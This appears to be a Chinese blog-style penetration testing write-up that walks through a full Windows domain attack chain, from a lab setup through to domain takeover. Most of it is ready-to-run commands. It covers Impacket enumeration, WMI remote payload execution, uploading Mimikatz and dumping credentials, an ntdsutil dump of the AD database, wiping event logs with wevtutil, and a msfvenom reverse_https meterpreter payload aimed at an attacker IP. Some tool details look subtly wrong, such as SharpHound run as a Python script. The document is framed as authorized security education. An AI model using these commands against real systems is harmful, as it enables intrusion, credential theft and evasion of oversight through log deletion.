一、从一次真实渗透案例说起
在2022年的某次内部渗透测试中,我们接到了任务:攻破一家大型企业的内部网络。在这次行动中,目标环境是基于 Windows 域控制的网络,拥有复杂的分层架构和数百台工作站。经过多轮侦察和攻击,我们成功从外部突破进入后,利用域渗透技术横向扩展,最终获取了域管理员权限。本文将围绕此次渗透过程,逐步展开技术细节,展示从信息收集到域控制权的完整攻击链。
这篇文章的目的仅限于授权的安全测试场景,旨在帮助安全研究人员理解 Windows 域渗透的攻击原理与防御措施。
---
二、靶场搭建指南:构建一个可控的域环境
在研究 Windows 域渗透时,一个可靠的靶场是必不可少的。以下是我们建议的实验环境:
实验架构设计
- 域控制器(DC):一台 Windows Server 2019,负责管理 Active Directory。
- 域内工作站:两台 Windows 10,模拟员工电脑。
- 攻击机:Kali Linux 或 ParrotOS(可选)、Windows 系统上的 Cobalt Strike、Sliver 或自定义工具。
- 网络模拟:通过 pfSense 或者简单虚拟机网桥实现内部网络隔离。
域控制器配置
安装 Active Directory,并创建以下角色:
- 普通用户:两个低权限用户(例如
alice和bob)。 - IT管理员:一个拥有本地管理员权限的用户。
- 域管理员:高权限账号(例如
admin)。
设置共享资源
为了更贴近真实环境,可以在域内创建一些共享文件夹,并配置权限,比如 "财务资料" 和 "研发文档"。

攻击机准备
攻击机需要安装以下工具:
BloodHound:用于分析域权限关系。Impacket:执行各种 NTLM 协议攻击。Mimikatz:经典的内存凭证提取工具。Responder:用于捕获域内未认证的网络流量。
---
三、信息收集:搞清楚目标域的布局
域渗透攻击的第一步是详细的侦察,我们需要尽可能多地获取域内信息。以下是几个关键点:
扫描域成员
攻击者可以使用 ldapsearch 或者 Impacket 的 GetADUsers.py 列出域内所有用户。 <pre><code class="language-bash">python3 GetADUsers.py ACME.local/bob:'password123!' -dc-ip 192.168.1.10</code></pre> 运行结果会返回域内用户的详细信息,包括名字、描述字段(可能包含职位)。
收集域组信息
域组关系能揭示哪些用户具有更高权限,可以使用以下命令收集: <pre><code class="language-bash">python3 GetADGroups.py ACME.local/bob:'password123!' -dc-ip 192.168.1.10</code></pre>
验证共享资源
有时候域内共享文件夹会暴露敏感信息,使用 smbclient 进行测试: <pre><code class="language-bash">smbclient -U bob //192.168.1.10/Finance</code></pre> 尝试访问共享文件夹,找到潜在的攻击路径。
---
四、初始漏洞利用:从低权限到高权限的跳板
在实际测试中,我们发现了一台域内的 Windows 10 工作站启用了 SMB 服务,同时其用户使用弱密码。这为我们提供了一个绝佳的切入点。
利用弱密码登录
通过测试,我们可以直接使用低权限用户的凭证登录目标机: <pre><code class="language-bash">smbclient -U alice //192.168.1.20/C$</code></pre> 一旦成功访问目标机的文件系统,我们可以尝试植入后门。
横向移动的工具:WMI + PowerShell
攻击者可以利用 WMI 和 PowerShell 实现横向移动,以下是一个典型的横向命令: <pre><code class="language-powershell">Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "powershell.exe -ExecutionPolicy Bypass -File \\192.168.1.10\scripts\payload.ps1" -ComputerName Target-PC</code></pre> 这段代码会远程执行 PowerShell 脚本,达到植入目的。
---
五、权限提升:Mimikatz 的绝地反击
权限提升是域渗透中的关键环节,这次我们使用了经典的 Mimikatz 技术。
提取内存中的凭据
首先,通过 SMB 登录到目标工作站并上传 Mimikatz: <pre><code class="language-bash">smbclient -U bob //192.168.1.20/C$ -c "put mimikatz.exe"</code></pre>
登录到目标机后,通过以下命令提取凭证: <pre><code class="language-plaintext">privilege::debug sekurlsa::logonpasswords</code></pre> 这会直接显示明文密码和 NTLM 哈希值。
---
六、横向扩展:解析域信任关系
域渗透中的横向扩展依赖于对域信任关系的理解。在这次行动中,我们使用 BloodHound 分析了域权限。
BloodHound 导图
通过收集域内权限关系并导入 BloodHound,可以看清楚哪条路径可以通向域管理员权限。 <pre><code class="language-bash"># 收集数据 python3 SharpHound.py -c All -d ACME.local -u alice -p Password123 -ip 192.168.1.10</code></pre>
---

七、攻破域控制器:最终目标达成
通过之前的横向扩展,我们获取了域管理员权限并成功登录域控制器。这时可以直接操作 Active Directory 数据库,获取所有用户信息。
转储 Active Directory 数据
使用 ntdsutil 工具可以直接导出 AD 数据库: <pre><code class="language-powershell">ntdsutil "activate instance ntds" "ifm" "create full C:\ADBackup" quit</code></pre>
---
八、痕迹清除与规避防御
完成攻击后,必须清除所有操作痕迹。以下是推荐的措施:
清理日志
删除攻击痕迹时,可以手动清理事件日志: <pre><code class="language-powershell">wevtutil cl Application wevtutil cl Security wevtutil cl System</code></pre>
绕过检测
使用加密通信和免杀工具规避 EDR/AV,比如对 PowerShell payload 进行加密: <pre><code class="language-bash">msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=4444 -f exe > payload.exe</code></pre>
---
九、个人经验分享:攻防对抗的思考
在域渗透过程中,攻击者与防御者的博弈往往决定了最终结果。以下是一些关键经验:
- 权限分布:域内权限分布永远是攻击者的重点目标,越少的权限越难以被攻破。
- 弱点利用:任何疏忽的配置都会成为潜在漏洞,例如凭证存储、共享文件夹。
- 工具选择:经典工具如 BloodHound、Mimikatz 是域渗透的核心武器,但也要掌握自定义工具开发。
---
免责声明:本文所有技术仅限授权场景,滥用将面临法律责任。
